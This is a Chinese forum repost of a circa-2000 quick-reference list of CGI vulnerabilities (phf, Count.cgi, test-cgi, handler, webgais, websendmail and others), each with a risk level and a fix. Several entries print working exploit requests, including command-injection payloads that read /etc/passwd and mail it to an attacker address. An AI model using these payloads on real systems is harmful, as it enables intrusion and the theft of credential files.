查看完整版本: CGI安全漏洞资料速查 v1.0(一)

铁血霸主 2007-8-1 22:37

CGI安全漏洞资料速查 v1.0(一)

             <p>CGI安全漏洞资料速查 v1.0 <BR><BR>日期:2000-8-15 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;############################################################################# <BR>本文取自一位朋友.这本来不算是什么珍贵的东西,如果你平时注意收集的话,相信很多人都会<BR>有比这份更全面、更好的资料.但由于某些原因.这些资料一直都不肯被公开.但我是一个崇尚完<BR>全自由、完全开放、完全共享的little guys.所以我把这份资料公开了.希望那位朋友不要怪罪 :) <BR># 如有任何安全组织或个人愿意无尝对此文进行长期的、不间断地维护、更新或更改. 请自行<BR>&nbsp;&nbsp;随便,不必与我商讨.但要求是成果必须完全地向internet公开. 任何行为的私藏都是不受欢<BR>&nbsp;&nbsp;迎的.<BR># 本文欢迎转摘.但请保持这些声明。<BR># 如有任何问题或建议,请mailto: iwillsurewin@163.net<BR># iwillsurewin 2000.7.28<BR>############################################################################<BR><BR>          <BR>1 <BR>类型: 攻击型 <BR>名字: phf <BR>风险等级: 中 <BR>描述: 在NCSA 或者 <a href="http://www.phpchina.com/javascript:;" onClick="javascript:tagshow(event, 'Apache');" target="_self"><u><strong>Apache</strong></u></a> (1.1.1版本以内)非商业版本的Web Server中有一段程序util.c,允许黑客以root身份执行任何一个指令:<BR>http://www.xxx.com/cgi-bin/phf?Qname=root%0Asome%20command%20here<BR>建议: <BR>解决<a href="http://www.phpchina.com/javascript:;" onClick="javascript:tagshow(event, '%B7%BD%B7%A8');" target="_self"><u><strong>方法</strong></u></a>: 把Apache web server升级到1.1.1以上,或者将NCSA web server升级到最新版本 <BR><BR>_________________________________________________________________<BR><BR>2 <BR>类型: 攻击型 <BR>名字: wguset.exe <BR>风险等级: 中 <BR>描述: 如果您使用NT做为您的WebServer的操作系统,而且wguest.exe存在于您的Web可执行目录中的话,入侵者将能利用它阅读到您的硬盘上所有USR_&lt;hostname&gt;用户能阅读的文件 <BR>建议: 将wguset.exe从你的Web目录移走或删除 <BR>解决方法: 将wguset.exe从你的Web目录移走或删除 <BR><BR>___________________________________________________________________<BR><BR><BR>3 <BR>类型: 攻击型 <BR>名字: rguset.exe <BR>风险等级: 中 <BR>描述: 如果您使用NT做为您的WebServer的操作系统,而且rguest.exe存在于您的Web可执行目录中的话,入侵者将能利用它阅读到您的硬盘上所有USR_&lt;hostname&gt;用户能阅读的文件 <BR>建议: 将rguset.exe从你的Web目录移走或删除 <BR>解决方法: 将rguset.exe从你的Web目录移走或删除 <BR><BR><BR>_______________________________________________________________________<BR><BR>4 <BR>类型: 攻击型 <BR>名字: perl.exe <BR>风险等级: 低 <BR>描述: 在cgi-bin执行目录下存在perl.exe,这属于严重的配置错误。黑客可以在perl.exe后面加一串指令,利用浏览器在server上执行任何脚本程序 <BR>建议: perl.exe是放在任何带执行权限的web目录下都是不安全的 <BR>解决方法: 在web目录下移除perl.exe这个程序. <BR><BR><BR>____________________________________________________________________<BR><BR><BR>5 <BR>类型: 攻击型 <BR>名字: shtml.exe <BR>风险等级: 低 <BR>描述: 如果您使用Front Page作为您的WebServer,那么入侵者能够利用IUSR_&lt;lt;hostname&gt;用户和shtml.exe入侵您的机器,做您不希望的事 <BR>建议: 将shtml.exe从你的Web目录移走或删除 <BR>解决方法: 将shtml.exe从你的Web目录移走或删除 <BR><BR><BR>___________________________________________________________________<BR><BR><BR>6 <BR>类型: 攻击型 <BR>名字: wwwboard.pl <BR>风险等级: 低 <BR>描述: wwwboard.pl程序容易引起攻击者对服务器进行D.O.S攻击 <BR>建议: 如无必要可以删除该文件 <BR>解决方法: 对get_variables的子程序中的下面这段:<BR>if ($FORM{'followup'}) { $followup = "1";<BR>@followup_num = split(/,/,$FORM{'followup'});<BR>$num_followups = @followups = @followup_num;<BR>$last_message = pop(@followups);<BR>$origdate = "$FORM{'origdate'}";<BR>$origname = "$FORM{'origname'}";<BR>$origsubject = "$FORM{'origsubject'}"; }<BR>替换为:<BR>if ($FORM{'followup'}) {<BR>$followup = "1";<BR>@followup_num = split(/,/,$FORM{'followup'});<BR>$num_followups = @followups = @followup_num;<BR>$last_message = pop(@followups);<BR>$origdate = "$FORM{'origdate'}";<BR>$origname = "$FORM{'origname'}";<BR>$origsubject = "$FORM{'origsubject'}";<BR># WWWBoard Bomb Patch<BR># Written By: Samuel Sparling sparling@slip.net) <BR>$fn=0;<BR>while($fn &lt; $num_followups)<BR>{<BR>$cur_fup = @followups $fn]; <BR>$dfn=0;<BR>foreach $fm(@followups)<BR>{<BR>if(@followups[$dfn] == @followups[$fn] &amp;&amp; $dfn != $fn)<BR>{<BR>&amp;error(board_bomb);<BR>} <BR>$dfn++;<BR>} <BR>$fn++; <BR>}<BR># End WWWBoard Bomb Patch <BR>}<BR><BR>相关连接: http://hgfr <BR><BR>_________________________________________________________________________<BR><BR>7 <BR>类型: 攻击型 <BR>名字: uploader.exe <BR>风险等级: 中 <BR>描述: 如果您使用NT作为您的WebServer的操作系统,入侵者能够利用uploader.exe上传任何文件 <BR>建议: 将uploader.exe从你的Web目录移走或删除 <BR>解决方法: 将uploader.exe从你的Web目录移走或删除 <BR><BR>________________________________________________________________<BR><BR>8 <BR>类型: 攻击型 <BR>名字: bdir.htr <BR>风险等级: 高 <BR>描述: 如果您使用NT做为您的WebServer的操作系统,而且bdir.htr存在于您的Web可执行目录中的话,入侵者将能利用它在您的服务器上无止境的创建ODBC数据库,并生成一些可执行的文件。 <BR>建议: 将bdir.htr从你的Web目录移走或删除 <BR>解决方法: 将bdir.htr从你的Web目录移走或删除 <BR><BR>__________________________________________________________________<BR><BR>9 <BR>类型: 攻击型 <BR>名字: Count.cgi <BR>风险等级: 高 <BR>描述: 在/cgi-bin目录下的Count.cgi程序(wwwcount2.3版本)有一个溢出错误,允许入侵者无须登录而远程执行任何指令. <BR>建议: 如无必要可以删除该文件 <BR>解决方法: 将wwwcount升级到2.4或者以上 <BR><BR>_________________________________________________________________<BR><BR>10 <BR>类型: 攻击型 <BR>名字: test-cgi <BR>风险等级: 高 <BR>描述: test-cgi这个文件可以被入侵者用来浏览服务器上的重要信息<BR><BR>建议: 建议审核cgi-bin目录下的执行程序,严格控制访问权限 <BR>解决方法: 删除test-cgi文件 <BR><BR>__________________________________________________________________<BR><BR>11 <BR>类型: 攻击型 <BR>名字: nph-test-cgi <BR>风险等级: 高 <BR>描述: nph-test-cgi这个文件可以被入侵者用来浏览服务器上的重要信息<BR><BR>建议: 建议审核cgi-bin目录下的执行程序,严格控制访问权限 <BR>解决方法: 删除nph-test-cgi文件 <BR><BR>__________________________________________________________________<BR><BR>12 <BR>类型: 攻击型 <BR>名字: php.cgi <BR>风险等级: 低 <BR>描述: php.cgi程序有较多的漏洞,包括缓存溢出漏洞,还有导致任何系统文件可以被入侵者读取的漏洞 <BR>建议: 建议审核cgi-bin目录,避免有不必要的程序存在 <BR>解决方法: 删除php.cgi程序是最好的办法 <BR><BR>_________________________________________________________________<BR><BR>13 <BR>类型: 攻击型 <BR>名字: handler <BR>风险等级: 低 <BR>描述: IRIX 5.3, 6.2, 6.3, 6.4的/cgi-bin/handler程序存在缓存溢出错误,允许入侵者在server上远程执行一段程序:<BR>telnet target.machine.com 80<BR>GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download<BR>HTTP/1.0 <BR>建议: 建议审核cgi-bin目录,避免有不必要的程序存在 <BR>解决方法: 删除handler文件 <BR><BR>________________________________________________________________<BR><BR><BR>14 <BR>类型: 攻击型 <BR>名字: webgais <BR>风险等级: 高 <BR>描述: /cgi-bin,目录下的webgais是GAIS搜索工具的一个接口,它有一个毛病使入侵者可以绕过程序的安全机制,执行系统命令:<BR>POST /cgi-bin/webgais HTTP/1.0<BR>Content-length: 85 (replace this with the actual length of the "exploit" line)<BR>telnet target.machine.com 80<BR><BR>query=';mail+you\@your.host&lt;/etc/passwd;echo'&amp;output=subject&amp;domain=paragraph <BR>建议: 建议审核cgi-bin目录,避免有不必要的程序存在 <BR>解决方法: 删除webgais文件 <BR><BR>________________________________________________________________<BR><BR>15 <BR>类型: 攻击型 <BR>名字: websendmail <BR>风险等级: 高 <BR>描述: /cgin-bin目录下的websendmail程序允许入侵者执行一个系统指令:<BR><BR>telnet target.machine.com 80<BR>POST /cgi-bin/websendmail HTTP/1.0<BR>Content-length: xxx (should be replaced with the actual length of the string passed to the server, in this case xxx=90)<BR>receiver=;mail+your_address\@somewhere.org&lt;/etc/passwd;&amp;sender=a&amp;rtnaddr=a&amp;subject=a<BR>&amp;content=a <BR></p>     <center><input type="image" onclick=copyToClipBoard() src="http://www.phpchina.com/images/phpcn_book_bu_tj.gif" border="0"></center>
页: [1]
查看完整版本: CGI安全漏洞资料速查 v1.0(一)
PageRank